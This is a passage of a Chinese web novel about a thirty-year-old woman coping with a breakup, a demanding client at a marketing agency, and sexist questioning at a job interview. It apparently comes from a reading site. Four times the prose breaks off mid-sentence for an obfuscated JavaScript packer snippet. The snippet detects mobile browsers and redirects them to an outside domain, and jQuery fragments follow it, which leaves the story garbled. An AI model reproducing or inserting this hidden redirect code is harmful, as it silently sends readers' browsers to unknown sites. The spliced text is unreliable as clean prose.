在快要记不起来的少女时代,我跟许逸晨去看过一场芭蕾舞剧《天鹅湖》。我俩在舞者修长笔直的双腿、优雅的旋转跳跃中逐渐迷失,还幻想过自己在聚光灯下优雅地大跳,但现实就是我们连跳个远都费劲。蠢蠢欲动的心思都不用别人劝说,就自行掐灭了小火苗。
谁能想到,已经过去了这么久,却重燃起想学芭蕾的心思。芭蕾有一种迷离而出尘的气质,让我觉得很是着迷。
说跳芭蕾舞是我的梦想,那太过于虚伪;把芭蕾舞当作我的兴趣爱好,也有些许勉强。可如果只是为了打发时间,能让我暂时逃离现实,倒是值得试一试。
我起身去翻找那本宣传册,想赶紧加上微信,生怕到明天我又会反悔。
经常背的包里没有,出门随手拿的小袋子里也没有。房间里翻了个遍,都没找到。
糟糕!突然想起来,上次
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672125|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吃外卖的时候汤撒了,我随手抽了本册子去垫桌子!我对自己说:“如果扔了,那就是老天都不赞成我去学芭蕾,那就算了……”
冲去餐厅一顿翻找,倒是找到了那张宣传册,只是上面沾了汤汁和油,芭蕾舞者身上的那条裙子沾上了油渍和黑乎乎的酱汁……可钉在上面的名片不知所踪。
叹了口气,我一屁股坐在凳子上,心想果然还是跟芭蕾舞没有缘分。
过了许久,颓然地拖着脚步走回房间……裙子上似乎挂着什么东西,每走一步都刺啦刺啦作响,我把后摆拽到前面检查,有张纸片勾在裙子上。扯下来一看,居然是那张名片。
欣喜若狂!瞬间有种“冥冥中注定”的感动。电话号码的中间几位沾上了污渍,但还能看清。我迅速发送了朋友申请。
过了几分钟,没有通过。
盯着手机,我发了会儿呆。
时间过得很慢,一分钟很长,长到我以为墙上的钟坏了。
又等了一会儿,我去视频网站刷了下剧检验网络,一切正常。
叹了口气,抓上浴巾和睡衣去洗澡了。
洗完澡,又拿起手机看了一眼,还是没有通过。
往往我对一件事情抱有极大期望时,迎来的大多数是失望。明明知道降低期望就好,可我就是做不到。我总是积极等待着别人的回应,希望事情能有快速的反馈。
我决定去睡觉。
刚闭上眼睛,微信响了一声。
条件反射一样从床上弹了起来,摸到手机又犹豫了——也许是Jessie又有了新想法(我好几次在下班后收到她的微信),还是不看了吧。看了的话就不能装作不知道了,她可能会想讨论……纠结了一会儿,我还是决定不看了,反正信息也没长腿。
我睡得很不安稳,第二天一大早就醒了。
微信申请已通过,对方发了一条消息:“嗨,您好,我是臣星工作室的落落,您是家里孩子想学芭蕾吗?”,我的心情五味杂陈,果然芭蕾舞这种爱好,都是从小培养。
听说是我自己想学时,落落依然热情洋溢地跟向介绍了他们工作室和课程,但我还是打起了退堂鼓。
“您可以来我们舞蹈教室试一节课。免费的。”
我承认,“免费的”三个字轻轻地触摸了下我的神经,然后在心里丢下一颗石子,荡起一个念头:去看看也不会损失什么。
“好的。”我回了她微信。
“想要哪天来,可以提前跟我说哦。我帮您预约。”
时间还早。打开网站看了几个芭蕾舞的视频,以确认自己是不是真的想学芭蕾,一时兴起的热情并不能支撑长时间的学习。毕竟……心血来潮和三分钟热度是我的常态。
我渐渐迷失在舞者纤细挺拔的身姿和典雅的气质当中,就算不能养成挺拔的身姿,如果能培养出高雅的气质,已经值回票了。我想象自己穿着芭蕾舞服,像一只高傲的天鹅在空中轻轻地抬腿,大跳,转身……
上网搜装备,芭蕾舞鞋很便宜,芭蕾舞服也不贵,加起来才两百块出头。虽然我更喜欢另一条裙子,但它要三百多块。看了看自己的信用卡账单,叹了口气,安慰自己,等学有所成了再买更好的。
在下单那一刻,我又犹豫了。万一试了课之后觉得不行呢?那不是又白花钱了,不然还是先找一套运动服出来凑合着用。
翻遍衣橱也没找到运动服,最后我找了一件T恤和一条宽松点的裤子,塞进帆布袋里备用。
我算不算已经迈出了微小的一步?
在这个对于我来说完全是陌生的城市里,我甚至有些恍惚,究竟离我被分手过去了多久?
时间好像被重启了。在这个时空里,我的痛苦变得没有那么尖锐,就像在河床里待了很久的鹅卵石一样。无论是潮起或是潮落,岿然不动。
22. 第 22章
萌萌不知道从什么渠道搞到了内幕消息——因为Vivian临危受命接了一个紧急项目,WH那边的对接人才临时换成了Jessie。更微妙的一点在于,Vivian和Jessie不对付。
至于换对接人这事儿,是Vivian未卸任前要求的。她跟她老板介绍,说我是GT总部特别派来支持。不遗余力地跟推荐我作为主对接人,负责整个项目的推进。
情况很明了,我一不小心成了他们的炮灰。
我想,可能还是自动离职来得痛快一些。得罪甲方也就算了,真要搞出什么甲方前后两任对接人互扯头花事件的话,GT在业内可能会声名狼藉。
右眼又开始有规律有节奏地跳动。不仅如此,不知道是不是压力过大,嘴巴里起了两个溃疡,嘴角冒出了一个大水泡。吃饭的时候张不大嘴,碰到溃疡时更是痛不欲生。
我不想说话,偏偏Jessie临时要求我带设计师去她公司开会。只能硬着头皮去。她兴致勃勃谈论做短片的想法,抛出了几个经典电影桥段,说可以作为短片的参考。我委婉提了预算问题,她不太高兴,说创意没确定,也没有具体报价,现在提预算没有意义。
所谓的沟通并没有任何实质性的反馈,最后的结论是“你们再想想,至少得让我看到成型的短片构思和报价”。
我和觅觅从WH集团大楼出来,一路没有交谈,我已经丧到了极点。
刚到公司,就被周明凯叫进去了办公室。
他只是看了我两眼,“方案推进不顺利?”
点了点头,嘴角抽了抽,没说话。实在是嘴巴太疼了,就像鱼雷在嘴里炸开,每说一句都在伤口上撒一次辣椒粉。
他似乎并不意外,只是沉默地盯着我。我的汗毛一根根竖了起来。
大约过了半分钟,他从抽屉里拿出一本厚厚的资料递给我,“你先拿回去熟悉下,有什么不明白的,下周二可以来问我。”
心情坠到了谷底,我还来不及给我的爱情修座坟墓,就已经要被推入知识的深渊了?这个世界上大概没有比我更悲惨的人了。
尽管读过的毒鸡汤都在我的脑海里拼命叫嚣着“安冉然,你要有Say No的勇气”,但现实告诉我,如果我不想回家吃自己,那么我就得拿出当年考研的劲儿,攻克这本看上去有两块砖头那么厚的“□□”。
“你一脸视死如归的表情是怎么回事?”他用手点了点资料,“别看它厚,里面都划过重点。”
我颓然地坐在工位上,耷拉着脑袋看这本厚得跟砖头一样的“专业课辅导书”,翻开第一页,是自编的目录,旁边有章节用红色签字笔打着星号。
有一种借了学霸课堂笔记,然而并没有任何作用的感觉。因为太浓缩了,想要看明白结论是怎么得出来的,就必须回到前面去翻看案例,还得借助课外辅导书了解专业术语——学霸一向具备不顾学渣死活的自信,他们做题往往从A点就直接推导到了E点,可学渣连A点怎么到的B点都还搞不清楚。
下周二读完?除非是神仙下凡。这就是传说中的赶鸭子上架。我盯着那一堆资料发呆,恨不得立时三刻把它们塞回周明凯的抽屉里。
孟猛探出半个身子,贱兮兮地压低了声音调侃,“老大给你开小灶啊?你可太有福气了。”
我默默翻了个白眼,很想一脚踹他的桌子腿——这福气给你要不要!
“收起来,赶紧收起来。”他继续压低声音,仿佛我俩在密谋什么见不得光的事儿。
“你大点声。”
小妍给了我一个口腔溃疡贴,总算没那么疼了。
孟猛鬼鬼祟祟地“嘘”了一下,给了我一个眼神,示意我把书放起来。看我把书放进了抽屉,才大声问:“冉冉,下楼喝杯咖啡去?”
“帮我带杯拿铁,我已经耗尽了洪荒之力改这破稿子……”觅觅有气无力地冲我们说了一句,又埋头干活了。我毫不怀疑,她周边萦绕的那圈空气叫做“倦怠”,就跟我每次提案来回修改到接近半疯的状态一样。
我们往外走,孟猛甩着手里的工卡吊牌,一副精力耗尽亟需充电的样子。
薛旻抬眼看了看,貌似不经意地问:“这个点了还去喝咖啡啊?”
孟猛冲她笑了笑,“最近太忙,晚上还得加班,不喝咖啡扛不住啊……要不要给你带一杯?”
薛旻回了他一个笑容,“不用了,太晚喝咖啡睡不着。”
“也是,到点就能走,真让人羡慕。”孟猛似乎不走心地回了一句,薛旻的脸色沉了下去,一言不发低头盯着自己的电脑屏幕。
我看着薛旻变脸,心惊肉跳,进了电梯还是忍不住说:“薛旻好像不高兴了。”
“爱高兴不高兴的。二组的人一直都那副样子,我才不惯着他们。”
到了楼下那家贵价连锁咖啡馆,孟猛点了单之后,“你真不喝啊?买一杯装装样子。”
“不喝。说说,在办公室里怎么跟做贼似的?”
“做贼?”孟猛整个身体直了起来,义愤填膺,“我那是防贼,好不好?!”
我不明所以,瞪大眼睛看着他。
“你别以为薛旻是随便问问,你看我们平时下楼喝个咖啡她关心吗?刚刚她准是看你从老大办公室出来还拿着资料,以为老大又塞给你案子了,在那试探呢。”
“老大不是也给二组案子吗?”
孟猛喈了口咖啡,浓厚的奶泡在他的唇边沾染上一圈白胡子,“人不都这样,不患寡而患不均,二组盯咱们盯得可紧了。我虽然平时吊儿郎当的,可重要的资料都锁得好好的。”
我不禁盯着他看了两眼。以为孟猛大大咧咧最不拘小节,没想到他粗中有细。小妍说孟猛很细致,原先我还不太信。
“别那么看着我,害人之心不可有,防人之心不可无。”
反观我自己,客户资料和文件我都随手扔在办公桌上,倒是小妍给我收了好几次。不过提案文件都是电子档,电脑设了密码,应该是安全的。我决定回去就锁好全部资料。
“扯远了,说回老大给你的资料。那本书可是老大的珍藏宝典。不是亲信,估计连边儿都摸不着呢。”
“这么说,你也看过?”我狐疑地问。
“那当然!”他托着脑袋想了想,“我可能是宝典的首批用户。”
“那个时候刚从学校毕业,什么都不懂,哪知道怎么做营销案,当然工作干得一塌糊涂。我以为老大肯定会让我滚蛋,但老大给了我一个月,让我啃案例,跟着他跑客户,硬生生给我带出师……”
本以为他忆完苦要思甜了,他又补了一句“那段日子,可真叫一个苦。”然后给了我一个同情的眼神。
听萌萌说过,孟猛是三年前入的职,应该是周明凯刚到T市组建分公司的那个时候。我记得,那时候GT总部有不少人等着看他笑话,他急需一批能迅速打开市场的人。虽然大部分人嘴上说重开版图有发展,但愿意跟他到T市的人却寥寥无几……开疆拓土困难重重,总部的业务部门安逸惯了,有几个愿意出去拼的?再以Lucy防下属像防贼的做派来看,也不会让他带走有业务能力的人。那个时候应该很难,可现在子公司的业务量是总公司的好几倍,可以想见,他们付出了多大的努力。
孟猛倒是没注意到我在走神,一门心思给我普及这本“职场□□”,“你可千万别小看那本书,全都是老大的精华。”
我回想了下那本厚得能拍死人的装订书——确实,全都是一线作战的经验。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672126|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“你可捂好了,老大慧眼识珠,说明你是可造之才。就跟当初的我一样。”
我冲他翻了个白眼,“给自己镶金边呢?”
“还真不是。老大本来准备用那个做销售培训的材料,但里面涉及了太多的商业机密,就从中挑了部分内容,又让我们几个业务骨干跟人事部一起重新编纂,作为新人培训材料。当然啦,含金量跟这本不可同日而语。”
“二组和三组不也是到T市才组建起来的吗?老板这算差别对待?”
“二组那几位,本事没多少,醋劲倒是大。老大又不是没给过他们案子……做执行还勉强,单子就没靠自己打下一单,还天天觉得老大偏心。三组才建起来没多久,估计老大还在观察吧。”
我的脑子里有个螺旋桨飞速转动:我是占了借调进一组的便宜。即使这样,沉甸甸的信任还是压得我心头发颤:如果
从抽屉里掏出“□□”,里面用红笔勾画的波浪线,旁边小字写的注释是每个案子赢得客户芳心的关键点——吸气,呼气;再吸气,呼气;几次过后,渐渐平静了下来——我找的都是行政职位,跟业务不沾边,也不存在泄密。况且,现在连个面试电话都没有,想得那么远也没用。
五彩缤纷的晚霞交织在一起,美不胜收。
我站在窗前,却无心欣赏。盯着楼下闪烁着的交通信号灯发呆,车流过去了,然后是人流。在一明一暗的交替中,每个人都向着自己的目的地前行。
“我们对于GT公司能拿出怎样让人眼前一亮的创意来,拭目以待。”
群里弹出的这行字足以让我今天费尽全力堆积起来的信心都降到冰点。不停给自己打气,可最后还是回归沮丧和绝望。眼前好像有一个巨大的翻译器,逐字逐句翻译未尽之意——“我倒要看看你们GT公司能拿出什么让我们买账的创意”。
晚霞从绛紫色褪成橙红色,像极了今天早上新摆放的天堂鸟……最后的绚烂落幕,铺天盖地的黑色成为主宰,像是一只张开巨大羽翼的蝙蝠,遮天蔽日。世间一切明媚灿烂都淹没在愈来愈深的阴影中。路灯还未亮起,白昼让位于黑夜,暮色一点点从我身上踏过去。我像是从海底拖拽上岸的海带,全身缀满苦涩的盐粒。
重重地叹了口气,欲戴其冠,必承其重。
挑灯夜读,好像回到了学生时代,专注本身就是难题:我总是忍不住刷一会儿手机,去厨房喝水,上厕所,把衣服扔进洗衣机……平时在家也没觉得有那么多事情要做。磨蹭了半天,我才坐定了,强迫自己把注意力放到“□□”上。
这份资料大概可以称为周明凯在GT的工作编年史。它以时间为顺序,把所有他所参与的项目以单独文件夹的形式整理,从项目背景到项目成果,一一列明,用不同颜色的标签标识重要程度,井井有条,排列有序。
我逐渐静下心来,不停翻查资料辅助理解。当一个人开始忙碌的时候,时间往往过得非常快。读完第二个案例,已经凌晨一点多了。我伸一伸胳膊,跺跺脚,累却充实。
谁说逃避没有用?如果直面自己的处境,大概我会一蹶不振,在出租房里醉生梦死、顾影自怜。可眼下,从早晨一进公司就被客户需求和小组讨论等一系列会议占据时间,每天需要绞尽脑汁想创意做提案,晚上还要恶补知识技能。我的忧愁和哀伤被巨大的工作压力碾压,就像是在茫茫大海里的一叶扁舟,还没启航就被暴风雨阻拦在码头无法前行。我可以心安理得不去面对,躲进工作里寻求庇护。
我偶尔,只是很偶尔,忍不住翻一下肖平的社交平台。他如常地工作生活,分享感悟,一如我们没有分开时一样。
恍惚了片刻,我的内心似乎还有隐秘的期盼。可是,我自己都不知道,在期盼什么……
23. 第 23 章
我像做贼一样接了几个面试电话,其中有一家公司约我去现场。并不是印象中我想去的那几家。搜了下公司名字,既不是外企也不是国企,似乎规模也不大。经过几天的社会毒打,我哪儿还能挑三拣四,有面试就感激涕零外加感恩戴德了。
面试地址倒是离GT不远,打车也就十几分钟的样子。
面试是上午十点,我请了一上午的病假。花半小时化了妆,搭配好衣服,把前一天打印好的简历放进包里,九点不到就出门了。
到现场才九点三刻,前台说前面的面试还没结束,让我在休息区先填下应聘登记表。休息区还坐着一男一女,一个在埋头填表,一个手里捏着简历。
我暗暗瞄了一眼,那个女生一脸稚气,应该是应届毕业生。男的倒是看上去跟我差不多年纪。
到九点一刻,前台带着我去会议室,有个女生跟我擦肩而过,黑色披肩发,穿着连衣裙,外面搭了一件粉色针织衫。我低头看了眼自己,似乎太正式了,衬衫配铅笔裙,还套了件小西装,我暗暗吸了一口气,安慰自己,正式说明重视。
面试官看上去四十岁不到,女性。穿着挺随意的,碎花裙。我心里咯噔了一下。
她用眼神示意我坐,我刚开始自我介绍,她就打断了我。随手翻了翻简历,问:“你三十岁了啊,结婚了吗?”
“没……单身未婚。”
她继续盯着简历,“你这个年龄还不结婚,家里不催吗?”
好比过年时亲戚们总会问“今年考了多少分啊?”,“有没有对象”,“准备什么时候结婚”“一个月工资多少”……这类问题考验人类素质,我以为只会出现在边界感全无的亲戚聚会上。在此时此地被提及,我感到难以置信和无比荒谬。
很想回一句,“大姐,关你屁事!”,但根据面试攻略,我应该继续保持微笑,装作完全没有被冒犯到,彬彬有礼地回答:“我还希望能够在事业上有所发展。”
“行政职位,发展空间很有限。”她似笑非笑地看着我,似乎下一句就要蹦出:“你这个年纪的女人,还是好好回家生孩子去吧。”
“回去等通知吧。”她合上面前的本子,上面一个字都没写。
我落荒而逃。
排在我后面的候选人是在前台见过的那个男的。我想,他肯定不会被问“你结婚了吗”,“这个年纪还不结婚,家里不催吗”,“打算什么时候生孩子”之类的问题。
走在回公司的路上,我抑制不住自己发颤:我,安冉然,女性,未婚未育,即将三十岁,是不是无论在婚恋市场还是就业市场,都已经贴上了“亟待清仓”的标签?
走着走着,我感觉有人在看我。摸了摸脸颊,原来是眼泪,难怪感觉凉凉的。我想要对着他们笑一笑,但眼泪滑落得又猛又急。
走到路口的时候,绿灯只剩下十秒。
在过马路这件事情上,我跟肖平非常不合拍——他永远觉得还有十秒呢,跑过去就好了。他会拽着我的手冲到马路对面,在我喘气的时候卡在绿灯的最后一秒抵达对岸;而我自己,通常都会原地等待下一轮的绿灯。
再也没有人会拉着我一起十秒冲刺了。
我蹲在了人行横道上,努力克制自己想要放声大哭的冲动。尽管不想承认,但这一刻,我觉得自己是个无可救药的失败者,造物主失败的作品。说什么人人生而平等,如果造物主在这儿,他甚至连看都不想再看我一眼。
“小姐,绿灯了。”一个温和的声音在头顶响起。
在S市,等绿灯的人们,在红灯开始闪烁将要变绿时,就会向对面冲过去。T市的人淡定很多,仿佛剩下的不是十秒,而是一分钟,足够他们按自己的节奏走到对面。
我擦了擦眼睛站起来,不知道是安慰自己还是跟他说:“今天的风太大了。”
“T市的天气就是这样。”他的声音像春天里的暖风,“风很大,尘土也多,但习惯了,就会觉得这个城市还不错。”
我转过头看他,本以为是一个中年大叔,没想到居然是个眉眼挺清秀的小年轻。
“绿灯很短,要快走几步才能在灯变红之前到达对面。”虽然嘴上说着要快走几步,可他走得不急不忙,语速更是缓慢平和,让人心安。
短短的这一截路,有人陪伴,就已经是幸运。
我的心头一暖。
到了路口,他左拐,我向右。向前走了几步,我回头去看,他已经消失在人流中。
味同嚼蜡地塞了午饭,我早早回了办公室。大家都出去吃饭了,只剩下零星的几个人在办公室里。我刚进门,正好碰见夏蕾,她冲我笑了一下。我心里直打鼓,生怕暴露。
“工作忙也得注意身体,不严重吧?”她很关心地问了一句。
顿时,忐忑化为歉疚,我嗫喏着回了她之后,赶紧回了工位。
熬过下午的时间并不困难。
小妍准备了下午茶,萌萌风风火火地联系了KOL之后就开始分享最新八卦,觅觅在工作当中加塞画我们组的Q版头像……有了上午面目可憎的面试官衬托,连周明凯都显得慈眉善目。
我坐在位置上,给自己打气:“安冉然,别人转行的都可以,你为什么不行?你还是学市场营销专业的呢!朋友圈里李蔚才晒过升职,他在学校里年年都挂科的,现在都混成部门经理了。你好歹在大学里年年拿奖学金,连他都比不过吗?”
可看到微信工作群里的消息,我又沮丧了起来。
孟猛扔出来的那张下半年业绩预测表,让我头晕目眩,就像面对着写满了公式却不知道该代入什么数据的题干,一筹莫展。
开始回想自己这些年完全跟职业规划不搭边的职业发展路径,才意识到我或许是真的因为选择和自己的不思进取,把路越走越窄。
刚到S市的三个月,我一直找不到合适的工作。虽然是重点大学本科毕业,可母校既不是985也不是211,好企业和我认为的好工作要求都很高。我投了不少简历,都石沉大海,剩下那些小公司,我不想去。
本来还美滋滋地想凭着自己还能拿出手的英文进个外企,但现实的情况是S市的就业竞争出乎意料的激烈,就连一个最基层的岗位都争破了头。
等我回过神来,连原先看不上的甲方小公司都没坑了。倒是有几家公司给我发过面试邀请,都是销售性质,我拒绝了。
迫于生存压力,我放弃了进外企的美梦,进了那家台湾公司。
忍受了变态老板将近两年的吹毛求疵和各种奇葩要求之后,我终于如愿以偿跳槽到了GT总部,担任行政专员。薪资不高,琐事不少,唯一的优点是稳定。而稳定的潜台词就是没前途,基本上没有升职和大幅加薪的可能性。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672127|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>虽说是总公司,其实GT的规模跟外企办事处也差不太多,连露西一起也就十几个人。一个萝卜一个坑,听说我这个岗位是前任生完孩子全职了才空缺出来的。
跳槽到GT之后,在我的目标进度条上,关于事业这一条已经是完成状态,只想躺平,升职加薪走上人生巅峰什么的,从来不在我的字典里。
我在行政专员这个位置上一呆就是三年,别说向上升职,连横向轮岗都没机会。外企虽然每年都有加薪幅度,但薪资基数在那摆着,3%的普调并不能改变我在公司里赤贫阶级的本质。
而肖平呢?虽然跟我是同一个学校毕业,但他读的是热门专业。刚毕业就进了一家知名世界500强的智能硬件公司,勤奋努力加上机遇,他一路高歌猛进,在短短的几年之间,从一个基层员工做到了部门负责人,算是小中层职位。
我不知道他现在赚多少钱,唯一知道的是肯定比我多得多。
这可能跟我们对待生活的态度有关系,肖平一直认为我胸无大志,而我确实是随遇而安。我最大的愿望是找一份安稳的工作,有一个疼我的老公,生两个孩子——一男一女。
每次我说起我的人生愿景,肖平总是一副不置可否的表情。有时候,他甚至会抓着头发烦躁地问:“冉然,你以前学习成绩那么好,就甘于一份没有前途的行政文员?!”
他曾经让我找市场营销对口专业的工作,骑驴找马,先去小公司锻炼积累经验,有机会就往大公司跳。可我觉得我在GT也挺好,老板是有些苛刻,但跟在台湾公司比起来,已经好很多了。
肖平说做业务前台永远比后台有价值,这点能从工资上很明显得体现出来。
对于他说的,我没有任何反驳的空间。为了维护自己的自尊,掩盖自己不思进取的事实,我倔强地反问他“你是嫌我赚得少吗”。
只要谈到这个话题,我们俩就会闹得不欢而散。是我不上进吗?是这个社会没有给我任何上进的机会!当然,我不能把所有责任都推卸给社会,但我确实没有工作运。
他没有经历过我在面试中碰到的那些事。
有一次面试让我印象格外深刻。
那个还算有名气的公司首轮是集体面试,有一个男生各方面都不如现场的女生,可他被留了下来。
我经过三轮到了终面,自觉表现良好,但最后他们录用了那个男生。尽管他的学历和背景都不如我,甚至连普通话都不标准,但不妨碍他在找工作上拥有我永远都无法企及的性别优势。
打电话问原因,面试官斟酌了半天,说那个工作出差多,男生更方便。到现在,我都记得他略微有些心虚的态度。
我在一次又一次的面试里败下阵。终于,我认清了一个事实,就算大家都没有工作经验,我成绩好并不是绝对优势,只要对方性别为男,他找工作就比我轻松很多。
肖平认为,我是在找借口。
他不知道的是,我并不是从一开始就不思进取,而是只有面试行政岗位时我不会因为性别被扣分。
从一开始,我们就没有站在同一起跑线上。我也试过挣扎,可就连爸妈对我的期望也是早点结婚生孩子,他们让我努力读书考大学,仿佛只是为了嫁得好做背书。
因为我安于现状,我们的差距越拉越大……
重新开始,我叹气,谈何容易。
24. 第 24 章
孟猛在接近五点的时候接到客户的召唤,要跨越大半个T市去跟客户吃饭维护关系。
“想当初,我们可是正儿八经只接创意咨询的案子,现在已经沦落到跟天桥卖艺的境地了,十八般武艺得样样精通。”
他自嘲了一声,拎着公文包走了;萌萌刚从外面回来,他俩错身的时候打了个招呼。
老板今天出差了,虽然我们很想放羊,奈何手里的工作撵着往前跑,压根无法松懈。
我打开PPT,敲了几行字又删掉,对Jessie要的短片构思毫无头绪,不知道从何下手。
看来我又得因为效率低下加班了。我才来两个多星期,加班却是整个公司最多的。不知道的以为我是卷王,周明凯知道我是如假包换的菜鸟,每次我提加班他都批,默许我“勤奋”补拙。
晚上九点后打车回家公司报销,可没有人愿意待到那么晚。项目紧张时也会加班,但很少。到点下班是常态,目前我只见过我们一组在加班,通常是我和觅觅,萌萌一周大概有一天会晚走,孟猛也差不多一到两天。最多加班到八点半,而且七点雷达不动,搭伴去吃晚饭。
今天萌萌到点没走,我磨磨蹭蹭好不容易写了点内容,就到七点了。萌萌说干脆吃碗面再继续干活。在S市,我习惯了点外卖,对一起出去吃饭还没习惯。
刚拿起手机准备问点哪家,萌萌已经站在我的桌子前,“看什么手机,走,吃饭去。”
从公司大楼向东走二百来米有条不起眼的小巷子,里面有一家小小的苍蝇馆子,坐在靠近厨房的位置上甚至能看见锅里翻滚着的汤汁,浓浓的雾气氤氲在空气里,飘着的香气让我有一种小时候坐在小木凳上等着吃饭的错觉。
老板娘显然对萌萌很熟悉,我们刚进门就招呼她,“有阵子没来了啊。”
“最近忙。”
“还是老样子?”
“对,两碗浇头面。”
浓白纯厚的汤头,撒上碧绿的小葱花,看着就让人食欲大振。
这家汤面馆也不知道开了多久,端上桌的面条清清爽爽,浇头加得满满当当。我悄悄在心里想:“这一碗才卖十五块钱,不得赔本啊。”
把面端给我的时候问了问:“姑娘新来的?没见过呀。”
“新同事。以后大概也是常客。”萌萌笑着回了她一句。
萌萌抽出筷子,上下刮了两计,埋头开始吃面。
等老板娘回了灶间才压低声音跟我说:“来他们家就吃浇头面,其他的面性价比一般。过两天带你去吃另一家小馆子。”
她飞快地瞥了一眼灶间,像极了在课间传小纸条怕被老师抓包的样子。
我低头吃面,汤头香浓,是我喜欢的细面,面煮得Q弹,嚼一口齿颊生香。一碗下去,胃里暖暖的,额头上渗出细密的汗,也不耽误畅快享受食物带来的快乐。
萌萌吃了几口之后问:“还在烦报预算的事儿呢?”
我低着头没说话。
“你就是太实在了。大导演拍片子随随便便都是几个亿的制作费,就按一亿来算,一部电影两小时。那么5分钟的短片差不多五百万吧。”
感觉受到了惊吓,原来拍片的制作费是以亿做单位的吗?
“会不会把客户吓死?”
“高质量的视频几十万到上百万,很正常。还有个方法,你找专门做视频的几家公司问问价,翻个倍再报给她。”
果然是难者不会,会者不难。让我愁得头发都快掉了的报价方案,萌萌三言两语搞定了。
萌萌嗦了一口面,细细嚼碎吞下去之后说:“点子不白给啊,今天晚饭你请。”
“没问题。”
在萌萌思路的启发下,结合Jessie给的参考,我装模做样地做了一份短片提案PPT,显得似乎花了很多心思。但实际上,只不过是融合了一些最近亮眼的元素,主打一个天马行空眼花缭乱,压根不管能不能落地执行。
Jessie在看完提案之后又冒出了好几个新想法,只不过在看到项目报价全部烟消云散。她非常不满报价,“这简直是狮子大开口,一个短片怎么能这么贵!”
对此,我早就准备好了说辞,“您看,这短片有炫酷的特效,还得有明星出境,成本价就差不多要这些了。加上您刚刚还提了些要求,按照这个方案执行的话,我们其实不赚钱。但为了能为WH集团提供满意的服务,我们愿意配合…”
事先已经假装客户就提案内容跟几家有名的视频制作公司询过价,在所有报价中取了中间偏高一点的价格。即使她找别的供应商比价,我报的价格也不算离谱。
果然,如“□□”所提到,“市场调查是一切行动的前提。”
拍短片的想法揭了过去,只是在她反反复复当中,项目一直无法推进。转眼又一个星期过去了,我们依然在起点打转。
……
“正是拼搏的年纪,你怎么成天这么丧呢?”
“正是风华正茂的年纪,您怎么成天这么老干部呢?”我暗戳戳的在心里吐槽。
我猜,Jessie还是没咽下那口气。不然周明凯怎么刚出差回来,就把我提溜进了办公室,问了一圈项目执行的情况。
他对我拒绝客户的短片需求没说什么,只说处理上可以更有技巧。
聊完工作,他话锋一转,“说说吧,碰到什么事儿了。”
我不知道他想问什么。
“我问过一组的同事们,对你评价都还不错:工作认真勤奋,同事相处融洽…可据我观察,你情绪一直低落,对工作热情不高,我想了解下情况。是职业规划问题还是有别的原因?”
我怔怔地望着他,却说不出一个字。
“如果是职业发展的问题,我们可以看看后续是不是可以调岗;如果是工作压力导致的情绪问题,公司有提供免费保密的心理援助服务,有需要可以去。”
突然慌乱了起来,顶头上司怀疑我有心理疾病,就……挺突然的。
“我失恋了。”我脱口而出。
本来觉得在“陌生人”面前难以启齿的话,说出来之后却有一种“欸?也没什么大不了的”的放松。
其实,我知道这是一个事实,可我并没有真正接受和承认——肖平没有打电话来说分手。我们只是碰到了所有情侣都会碰到的问题,甚至我抱着幻想,肖平会打电话来解释。
周明凯抬起眼,看我一眼,又低下头,“谁没失过几次恋?年轻时候没碰到过几个人渣,那都不叫青春。”
我的下巴差点掉下来…
真没想到这话会从高冷的周凯明嘴巴里说出来,他这种钻石王老五,自带吸妹光环的人,也会失恋?
“别那么看着我,我也没比你大多少。别以为我不知道你在想什么,一副看到老头子的样子。过来人的经验,寄情工作是疗伤的圣药,你可以试试看。”
我十分怀疑,他是在为后续加大工作量做铺垫,资本家的手段已经这么如此超前了?
突然,他像是想到了什么,“情绪差单单是因为失恋,还是工作上也有解决不了的问题?”
“我怕搞砸WH的案子……”我嗫嚅着,没有说出“还怕您让我滚蛋”。
“实在排解不了情绪问题,就打个心理服务热线。不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672128|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怀疑你精神有问题,每个人都需要有纾解压力和情绪的出口。”
转了一圈,还是建议我去看心理医生?
